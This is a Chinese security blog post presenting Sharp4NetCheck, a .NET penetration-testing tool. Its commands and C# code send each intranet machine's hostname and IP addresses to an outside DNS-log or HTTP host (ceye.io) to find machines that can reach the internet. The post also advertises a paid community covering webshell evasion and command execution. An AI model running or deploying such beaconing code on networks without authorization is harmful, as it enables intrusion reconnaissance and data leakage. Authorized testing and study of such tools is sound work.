长亭百川云 - 文章详情

.NET 一款快速识别主机出网的工具

dotNet安全矩阵

59

2024-07-13

01

阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02

基本介绍

Sharp4NetCheck 是一款强大的工具,用于自动检测内网中哪些机器可以访问互联网。它通过在 DNS 日志中回显内部 IP 地址和计算机名,实现快速定位可出网机器。

03

使用方法

Sharp4NetCheck 可以同时处理多台机器,大大加快了检测速度,支持 DNS 和 HTTP 协议来检查互联网可访问性。

3.1 DNS探测

通过 DNS 检查互联网可访问性。它将机器的名称和 IP 地址发送到指定的 DNS 日志主机

Sharp4NetCheck -dns -host ceye.io

3.2 HTTP探测

通过 HTTP 进行检查。它将机器的名称和 IP 地址发送到指定的 HTTP 主机。

Sharp4NetCheck -http -host/ip ceye.io

3.3 综合探测

同时执行 DNS 和 HTTP 检查,确保全面检测。

Sharp4NetCheck -all -host ceye.io

04

编码实现

以下是 Sharp4NetCheck 的核心代码部分,每个功能对应一个代码块。下面这个代码块HTTP 检查函数收集机器的名称和 IP 地址,然后将这些信息发送到指定的 URL。具体来看,首先获取计算机名称并初始化一个 NameValueCollection 对象来存储要发送的数据,再遍历 IP 地址,调用 NetCheck.Post 方法,将数据发送到指定的 URL。

public static void http(string url) {     string machineName = Environment.MachineName;     int num = 1;     NameValueCollection nameValueCollection = new NameValueCollection();     nameValueCollection.Add("host", machineName);     string hostName = Dns.GetHostName();     IPAddress[] hostAddresses = Dns.GetHostAddresses(hostName);     foreach (IPAddress ipaddress in hostAddresses)     {         if (ipaddress.AddressFamily == AddressFamily.InterNetwork)         {             nameValueCollection.Add("ip" + num.ToString(), ipaddress.ToString());             num++;         }     }     NetCheck.Post(url, nameValueCollection); }

POST 函数将收集到的机器信息发送到指定的 URL。代码通过创建一个 WebClient 实例,再使用 WebClient 的 UploadValues 方法,将数据以 POST 请求的方式发送到服务器。

public static void Post(string url, NameValueCollection postValues) {     try     {         WebClient webClient = new WebClient();         url = "http://" + url + "/";         byte[] bytes = webClient.UploadValues(url, postValues);         Encoding.ASCII.GetString(bytes);     }     catch (Exception ex)     {         Console.WriteLine(ex.Message);     } }

Sharp4NetCheck 是一款内网渗透活动中非常有价值的工具,能够快速识别内网中哪些机器可以访问互联网。工具已经打包在星球,感兴趣的朋友可以加入自取。

05

推荐阅读

从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!

06

欢迎加入.NET安全星球

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。

 目前星球门票¥199,后期价格随着内容和质量的不断沉淀会适当提高,星球即将涨价,2024.07月中旬起 ¥239,因此越早加入越好! 

目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

    我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

我们还有一个会员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2